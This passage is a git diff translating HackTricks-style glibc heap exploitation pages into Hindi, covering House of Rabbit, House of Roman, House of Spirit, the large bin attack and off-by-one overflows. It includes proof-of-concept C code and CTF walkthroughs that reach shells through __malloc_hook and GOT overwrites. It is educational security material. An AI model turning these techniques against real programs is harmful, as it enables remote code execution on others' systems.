करने से `malloc_consolidate` फ़ंक्शन सक्रिय होता है, जो तेज़ बिन में छोटे हिस्सों को मिलाता है। `chunk1` के हेरफेर किए गए आकार के कारण यह `chunk2` के साथ ओवरलैप करता है। -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +संविलयन के बाद, `chunk1` `chunk2` के साथ ओवरलैप करता है, जिससे आगे के शोषण की अनुमति मिलती है। -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: `fd` पॉइंटर को संशोधित करें -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**उद्देश्य**: तेज़ बिन `fd` पॉइंटर को हेरफेर करके एक नकली हिस्सा बनाना। +- **चरण 1: हिस्से आवंटित करें** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**व्याख्या**: हम दो टुकड़े आवंटित करते हैं, एक छोटा और एक बड़ा, ताकि नकली टुकड़े के लिए हीप सेट किया जा सके। -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **चरण 2: नकली टुकड़ा बनाएं** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +हम `chunk2` में नकली चंक मेटाडेटा लिखते हैं ताकि छोटे चंक्स का अनुकरण किया जा सके। -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **चरण 3: `chunk1` को मुक्त करें** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**व्याख्या**: हम `chunk1` को मुक्त करते हैं, इसे फास्टबिन सूची में जोड़ते हैं। -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **चरण 4: `chunk1` का `fd` संशोधित करें** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**व्याख्या**: हम `chunk1` के फॉरवर्ड पॉइंटर (`fd`) को हमारे फेक चंक की ओर इंगित करने के लिए बदलते हैं जो `chunk2` के अंदर है। -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **चरण 5: `malloc_consolidate` को ट्रिगर करें** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +एक बड़ा हिस्सा फिर से आवंटित करने से `malloc_consolidate` सक्रिय होता है, जो नकली हिस्से को संसाधित करता है। -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +नकली हिस्सा फास्टबिन सूची का हिस्सा बन जाता है, जिससे यह आगे की शोषण के लिए एक वैध हिस्सा बन जाता है। -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### सारांश -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +**हाउस ऑफ़ रैबिट** तकनीक में या तो एक फास्ट बिन हिस्से के आकार को संशोधित करना शामिल है ताकि ओवरलैपिंग हिस्से बनाए जा सकें या नकली हिस्से बनाने के लिए `fd` पॉइंटर को हेरफेर करना शामिल है। यह हमलावरों को हीप में वैध हिस्से बनाने की अनुमति देता है, जिससे विभिन्न प्रकार के शोषण की अनुमति मिलती है। इन चरणों को समझना और अभ्यास करना आपकी हीप शोषण कौशल को बढ़ाएगा। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..7185e99c3 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -4,85 +4,80 @@ ## Basic Information -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +यह एक बहुत ही दिलचस्प तकनीक थी जिसने नकली फास्टबिन, अनसॉर्टेड_बिन हमले और सापेक्ष ओवरराइट के माध्यम से RCE की अनुमति दी। हालाँकि इसे [**पैच**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) किया गया है। ### Code -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- आप एक उदाहरण [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में पा सकते हैं। ### Goal -- RCE by abusing relative pointers +- सापेक्ष पॉइंटर्स का दुरुपयोग करके RCE ### Requirements -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- फास्टबिन और अनसॉर्टेड बिन पॉइंटर्स को संपादित करें +- 12 बिट की यादृच्छिकता को ब्रूट फोर्स किया जाना चाहिए (काम करने की 0.02% संभावना) ## Attack Steps ### Part 1: Fastbin Chunk points to \_\_malloc_hook -Create several chunks: +कई चंक्स बनाएं: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment +- `fastbin_victim` (0x60, offset 0): UAF चंक जिसे बाद में हीप पॉइंटर को LibC मान की ओर इंगित करने के लिए संपादित किया जाएगा। +- `chunk2` (0x80, offset 0x70): अच्छे संरेखण के लिए - `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' चंक पर सापेक्ष ऑफसेट -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +फिर `free(main_arena_use)` करें जो इस चंक को अनसॉर्टेड सूची में रखेगा और `fd` और `bk` पॉइंटर्स में `main_arena + 0x68` का एक पॉइंटर प्राप्त करेगा। -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +अब एक नया चंक `fake_libc_chunk(0x60)` आवंटित किया गया है क्योंकि इसमें `fd` और `bk` में `main_arena + 0x68` के लिए पॉइंटर्स होंगे। +फिर `relative_offset_heap` और `fastbin_victim` को मुक्त किया जाता है। ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` का `fd` `relative_offset_heap` की ओर इशारा करता है +- `relative_offset_heap` `fake_libc_chunk` से दूरी का एक ऑफसेट है, जिसमें `main_arena + 0x68` की ओर एक पॉइंटर होता है +- केवल `fastbin_victim.fd` के अंतिम बाइट को बदलकर, `fastbin_victim` को `main_arena + 0x68` की ओर इशारा करना संभव है -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +पिछले कार्यों के लिए, हमलावर को `fastbin_victim` के fd पॉइंटर को संशोधित करने में सक्षम होना चाहिए। -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +फिर, `main_arena + 0x68` इतना दिलचस्प नहीं है, इसलिए इसे संशोधित करते हैं ताकि पॉइंटर **`__malloc_hook`** की ओर इशारा करे। -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +ध्यान दें कि `__memalign_hook` आमतौर पर `0x7f` से शुरू होता है और इसके पहले शून्य होते हैं, इसलिए इसे `0x70` फास्ट बिन में एक मान के रूप में फेक करना संभव है। चूंकि पते के अंतिम 4 बिट **यादृच्छिक** होते हैं, इसलिए मान के अंत में इशारा करने के लिए `2^4=16` संभावनाएँ होती हैं। इसलिए यहां एक BF हमला किया जाता है ताकि चंक इस तरह समाप्त हो: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`।** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(बाकी बाइट्स के बारे में अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में व्याख्या देखें)। यदि BF काम नहीं करता है, तो प्रोग्राम बस क्रैश हो जाता है (इसलिए तब तक फिर से शुरू करें जब तक यह काम न करे)। +फिर, 2 mallocs किए जाते हैं ताकि 2 प्रारंभिक फास्ट बिन चंक्स को हटाया जा सके और एक तीसरा आवंटित किया जाता है ताकि **`__malloc_hook:`** में एक चंक प्राप्त किया जा सके। ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### भाग 2: Unsorted_bin हमला -### Part 2: Unsorted_bin attack - -For more info you can check: +अधिक जानकारी के लिए आप देख सकते हैं: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +लेकिन मूल रूप से यह `chunk->bk` में निर्दिष्ट किसी भी स्थान पर `main_arena + 0x68` लिखने की अनुमति देता है। और हमले के लिए हम `__malloc_hook` चुनते हैं। फिर, इसे ओवरराइट करने के बाद हम एक सापेक्ष ओवरराइट का उपयोग करेंगे) एक `one_gadget` की ओर इशारा करने के लिए। +इसके लिए हम एक chunk प्राप्त करना शुरू करते हैं और इसे **unsorted bin** में डालते हैं: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +इस भाग में एक UAF का उपयोग करें ताकि `unsorted_bin_ptr->bk` को `__malloc_hook` के पते पर इंगित किया जा सके (हमने इसे पहले ब्रूट फोर्स किया था)। > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> ध्यान दें कि यह हमला असंरचित बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब तेज बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **उसी आकार का आवंटन करना होगा या प्रोग्राम क्रैश हो जाएगा।** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +तो, `__malloc_hook` में `main_arena + 0x68` के लिखने को ट्रिगर करने के लिए, हम `__malloc_hook` को `unsorted_bin_ptr->bk` में सेट करने के बाद बस यह करने की आवश्यकता है: **`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### चरण 3: \_\_malloc_hook को सिस्टम पर सेट करें -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +पहले चरण में, हम `__malloc_hook` वाले एक भाग को नियंत्रित करने में सफल रहे (चर `malloc_hook_chunk` में) और दूसरे चरण में, हम यहां `main_arena + 0x68` लिखने में सफल रहे। -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +अब, हम `malloc_hook_chunk` में आंशिक ओवरराइट का दुरुपयोग करते हैं ताकि हम वहां लिखे गए libc पते (`main_arena + 0x68`) का उपयोग करके **एक `one_gadget` पते** को इंगित कर सकें। -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करने की आवश्यकता है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)। -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +अंत में, एक बार सही पता ओवरराइट हो जाने पर, **`malloc` कॉल करें और `one_gadget` को ट्रिगर करें।** -## References +## संदर्भ - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..a46cabf3e 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -9,7 +9,6 @@
House of Spirit - ```c #include #include @@ -19,97 +18,94 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### लक्ष्य -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- tcache / fast bin में एक पता जोड़ने में सक्षम होना ताकि बाद में इसे आवंटित किया जा सके -### Requirements +### आवश्यकताएँ -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- इस हमले के लिए एक हमलावर को कुछ नकली तेज टुकड़े बनाने में सक्षम होना चाहिए जो इसके आकार के मान को सही ढंग से इंगित करते हैं और फिर पहले नकली टुकड़े को मुक्त करने में सक्षम होना चाहिए ताकि यह बिन में जा सके। -### Attack +### हमला -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- नकली टुकड़े बनाएं जो सुरक्षा जांचों को बायपास करते हैं: आपको मूल रूप से 2 नकली टुकड़े बनाने की आवश्यकता होगी जो सही स्थानों पर सही आकार को इंगित करते हैं +- किसी तरह पहले नकली टुकड़े को मुक्त करने का प्रबंधन करें ताकि यह तेज या tcache बिन में जा सके और फिर इसे उस पते को ओवरराइट करने के लिए आवंटित किया जा सके +**कोड** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **से हमले को समझने के लिए बहुत अच्छा है।** हालांकि, कोड से यह स्कीमा इसे काफी अच्छी तरह से संक्षेपित करता है: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> ध्यान दें कि कुछ सैनीटी चेक्स को बायपास करने के लिए दूसरे चंक का निर्माण करना आवश्यक है। ## Examples - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: एक ओवरफ्लो के माध्यम से, एक पॉइंटर को GOT पते की ओर इंगित करने के लिए बदलना संभव है ताकि CTF के पढ़ने के क्रिया के माध्यम से libc पते को लीक किया जा सके। +- **House of Spirit**: "राइफल्स" की संख्या को गिनने वाले काउंटर का दुरुपयोग करते हुए, पहले फेक चंक का एक फेक आकार उत्पन्न करना संभव है, फिर "संदेश" का दुरुपयोग करते हुए, एक चंक के दूसरे आकार को फेक करना संभव है और अंततः एक ओवरफ्लो का दुरुपयोग करते हुए, एक पॉइंटर को बदलना संभव है जो मुक्त होने वाला है ताकि हमारा पहला फेक चंक मुक्त हो जाए। फिर, हम इसे आवंटित कर सकते हैं और इसके अंदर "संदेश" संग्रहीत होने का पता होगा। फिर, इसे GOT तालिका के `scanf` प्रविष्टि की ओर इंगित करना संभव है, ताकि हम इसे सिस्टम के पते के साथ ओवरराइट कर सकें।\ +अगली बार जब `scanf` को कॉल किया जाता है, हम इनपुट `"/bin/sh"` भेज सकते हैं और एक शेल प्राप्त कर सकते हैं। - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: अनइनीशियलाइज्ड स्टैक बफर। +- **House of Spirit**: हम हीप पॉइंटर्स के एक वैश्विक एरे के पहले इंडेक्स को संशोधित कर सकते हैं। एक ही बाइट संशोधन के साथ, हम एक वैध चंक के अंदर एक फेक चंक पर `free` का उपयोग करते हैं, ताकि हम फिर से आवंटित करने के बाद ओवरलैपिंग चंक्स की स्थिति प्राप्त कर सकें। इसके साथ, एक साधारण Tcache पॉइज़निंग हमला काम करता है ताकि एक मनमाना लिखने की प्राइमिटिव प्राप्त की जा सके। ## References diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..0f6bec09d 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -4,55 +4,53 @@ ## Basic Information -For more information about what is a large bin check this page: +एक बड़े बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +आप [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में एक शानदार उदाहरण देख सकते हैं। -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +बुनियादी रूप से, यहाँ आप देख सकते हैं कि glibc (2.35) के नवीनतम "वर्तमान" संस्करण में, यह जांचा नहीं जाता है: **`P->bk_nextsize`** जिससे एक बड़े बिन चंक के मान के साथ एक मनमाना पते को संशोधित करना संभव है यदि कुछ शर्तें पूरी होती हैं। -In that example you can find the following conditions: +उस उदाहरण में आप निम्नलिखित शर्तें पा सकते हैं: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- एक बड़ा चंक आवंटित किया गया है +- पहले से छोटे एक बड़े चंक को उसी इंडेक्स में आवंटित किया गया है +- इसे बिन में पहले आना चाहिए +- (एक चंक शीर्ष चंक के साथ विलय को रोकने के लिए बनाया गया है) +- फिर, पहले बड़े चंक को मुक्त किया जाता है और इससे बड़ा एक नया चंक आवंटित किया जाता है -> Chunk1 बड़े बिन में जाता है +- फिर, दूसरे बड़े चंक को मुक्त किया जाता है +- अब, भेद्यता: हमलावर `chunk1->bk_nextsize` को `[target-0x20]` में संशोधित कर सकता है +- फिर, चंक 2 से बड़ा एक चंक आवंटित किया जाता है, इसलिए चंक2 बड़े बिन में डाला जाता है जो `chunk1->bk_nextsize->fd_nextsize` के पते को चंक2 के पते से ओवरराइट करता है > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> अन्य संभावित परिदृश्य हैं, बात यह है कि बड़े बिन में एक चंक जोड़ना है जो बिन में वर्तमान X चंक से **छोटा** है, इसलिए इसे बिन में इसके ठीक पहले डाला जाना चाहिए, और हमें X के **`bk_nextsize`** को संशोधित करने में सक्षम होना चाहिए क्योंकि वहीं छोटे चंक का पता लिखा जाएगा। +यह malloc से संबंधित कोड है। समझने के लिए टिप्पणियाँ जोड़ी गई हैं कि पता कैसे ओवरराइट किया गया: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +यह **libc के `global_max_fast` वैश्विक चर** को ओवरराइट करने के लिए उपयोग किया जा सकता है ताकि बड़े टुकड़ों के साथ एक तेज़ बिन हमले का शोषण किया जा सके। -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +आप इस हमले का एक और शानदार विवरण [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) में पा सकते हैं। -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### अन्य उदाहरण - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- उसी स्थिति में बड़े बिन हमले के बारे में [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में। +- लिखने की प्राइमिटिव अधिक जटिल है, क्योंकि `global_max_fast` यहाँ बेकार है। +- शोषण को समाप्त करने के लिए FSOP की आवश्यकता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..2c16d2b97 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -4,112 +4,110 @@ ## Basic Information -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +केवल 1B ओवरफ्लो तक पहुंच होने से एक हमलावर को अगले चंक के `size` फ़ील्ड को संशोधित करने की अनुमति मिलती है। यह यह तय करने की अनुमति देता है कि वास्तव में कौन से चंक मुक्त हैं, संभावित रूप से एक चंक उत्पन्न करना जो एक अन्य वैध चंक को शामिल करता है। शोषण [double free](double-free.md) या ओवरलैपिंग चंक्स के समान है। -There are 2 types of off by one vulnerabilities: +ऑफ बाय वन कमजोरियों के 2 प्रकार हैं: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- मनमाना बाइट: यह प्रकार किसी भी मान के साथ उस बाइट को ओवरराइट करने की अनुमति देता है +- नल बाइट (ऑफ-बाय-नल): यह 